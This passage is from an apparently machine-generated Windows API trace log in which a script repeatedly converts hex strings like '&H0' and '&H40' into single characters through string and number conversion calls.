CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.605] VarParseNumFromStr (in: strIn="&H40", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.605] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="@") returned 1 [0061.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@", lpUsedDefaultChar=0x0) returned 1 [0061.606] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.606] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.607] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.607] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.607] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.607] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.607] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.607] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.608] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.608] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.609] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.609] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.609] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.609] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.610] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.610] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.610] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.610] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.610] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.611] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.611] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.611] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.611] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.612] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.612] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.612] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.612] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.613] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.614] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.614] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.614] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.615] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.615] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.615] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.616] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.616] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.616] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.616] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.616] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.616] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.617] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.617] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.617] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.618] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.618] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.618] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.618] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.618] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.619] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.619] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.619] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 